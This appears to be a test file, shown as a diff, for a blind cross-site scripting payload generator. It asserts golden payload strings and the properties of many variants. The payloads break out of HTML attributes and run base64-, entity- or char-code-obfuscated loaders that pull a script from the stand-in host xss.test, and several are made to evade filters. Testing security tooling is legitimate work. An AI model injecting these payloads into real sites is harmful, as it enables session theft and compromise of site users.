+    '"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnRlc3QiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>');
+check('image_onerror golden', by_id.image_onerror.func(DOMAIN) ===
+    '"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnRlc3QiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>');
+check('video_source golden', by_id.video_source.func(DOMAIN) ===
+    '"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnRlc3QiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>');
+check('iframe_srcdoc golden', by_id.iframe_srcdoc.func(DOMAIN) ===
+    '"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;xss.test&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">');
+
+// Helpers behave
+check('js_attrib contains domain', helpers.js_attrib(DOMAIN).indexOf('https://xss.test') !== -1);
+check('case_mix changes case but not length', (() => {
+    const out = helpers.case_mix('onerror');
+    return out !== 'onerror' && out.length === 'onerror'.length;
+})());
+check('entity_encode encodes every char', helpers.entity_encode('"><') === '&#34;&#62;&#60;');
+check('from_char_code starts with eval(String.fromCharCode', helpers.from_char_code('x').indexOf('eval(String.fromCharCode(120)') === 0);
+check('b64_js round-trips to loader containing domain', (() => {
+    const decoded = atob(helpers.b64_js(DOMAIN));
+    return decoded.indexOf('https://' + DOMAIN) !== -1;
+})());
+
+// The 8 original payload ids exist
+['basic_script', 'javascript_uri', 'input_onfocus', 'image_onerror', 'video_source',
+    'iframe_srcdoc', 'xmlhttprequest_load', 'jquery_chainload'].forEach((id) => {
+    check('original payload exists: ' + id, typeof by_id[id] !== 'undefined');
+});
+
+// Task 2 payloads exist and produce sane output
+['svg_onload', 'details_ontoggle', 'body_onload', 'marquee_onstart', 'select_autofocus',
+    'anchor_javascript', 'meta_refresh', 'object_data', 'iframe_data_uri', 'svg_xlink_href'].forEach((id) => {
+    check('task2 payload exists: ' + id, typeof by_id[id] !== 'undefined');
+    if (by_id[id]) {
+        const out = by_id[id].func(DOMAIN);
+        check(id + ' output contains domain', out.indexOf(DOMAIN) !== -1 || out.indexOf(helpers.b64_js(DOMAIN)) !== -1);
+        check(id + ' output non-empty', out.length > 0);
+    }
+});
+
+check('attribute breakouts start with quote-break', ['svg_onload', 'details_ontoggle', 'body_onload', 'marquee_onstart', 'select_autofocus'].every((id) => {
+    return by_id[id].func(DOMAIN).indexOf('">') === 0;
+}));
+check('attribute breakouts use atob loader', ['svg_onload', 'details_ontoggle', 'body_onload', 'marquee_onstart', 'select_autofocus'].every((id) => {
+    return by_id[id].func(DOMAIN).indexOf('eval(atob(this.id))') !== -1;
+}));
+check('uri payloads contain javascript:', ['anchor_javascript', 'meta_refresh', 'object_data', 'svg_xlink_href'].every((id) => {
+    return by_id[id].func(DOMAIN).indexOf('javascript:') !== -1;
+}));
+check('iframe_data_uri is URL-encoded', by_id.iframe_data_uri.func(DOMAIN).indexOf('data:text/html,%3Cscript') !== -1);
+
+// Task 3 payloads exist and produce sane output
+['case_mixed_onerror', 'entity_encoded_breakout', 'no_space_onerror', 'protocol_relative_script',
+    'from_char_code_loader', 'template_literal_loader', 'jquery_html_sink', 'postmessage_receiver'].forEach((id) => {
+    check('task3 payload exists: ' + id, typeof by_id[id] !== 'undefined');
+    if (by_id[id]) {
+        const out = by_id[id].func(DOMAIN);
+        check(id + ' output contains domain', out.indexOf(DOMAIN) !== -1 || out.indexOf(helpers.b64_js(DOMAIN)) !== -1 || out.indexOf(DOMAIN.split('').map((character) => character.charCodeAt(0)).join(',')) !== -1);
+        check(id + ' output non-empty', out.length > 0);
+    }
+});
+
+check('case_mixed_onerror mixes case', (() => {
+    const out = by_id.case_mixed_onerror.func(DOMAIN);
+    return out !== by_id.image_onerror.func(DOMAIN) && out.indexOf('eval(atob(this.id))') !== -1;
+})());
+check('entity_encoded_breakout starts with entities', by_id.entity_encoded_breakout.func(DOMAIN).indexOf('&#34;&#62;') === 0);
+check('no_space_onerror has no space before onerror', (() => {
+    const out = by_id.no_space_onerror.func(DOMAIN);
+    return out.indexOf('/onerror=') !== -1 && out.indexOf(' onerror') === -1;
+})());
+check('protocol_relative_script uses //', by_id.protocol_relative_script.func(DOMAIN).indexOf('//' + DOMAIN) !== -1);
+check('from_char_code_loader hides domain as char codes', (() => {
+    const out = by_id.from_char_code_loader.func(DOMAIN);
+    return out.indexOf('String.fromCharCode(') !== -1 && out.indexOf('https://' + DOMAIN) === -1;
+})());
+check('template_literal_loader uses backticks', by_id.template_literal_loader.func(DOMAIN).indexOf('`') !== -1);
+check('jquery_html_sink has no quote-break prefix', (() => {
+    const out = by_id.jquery_html_sink.func(DOMAIN);
+    return out.indexOf('">') !== 0 && out.indexOf('<img') === 0;
+})());
+check('postmessage_receiver listens for messages', by_id.postmessage_receiver.func(DOMAIN).indexOf("addEventListener('message'") !== -1);
+
+console.log('All ' + passed + ' checks passed.');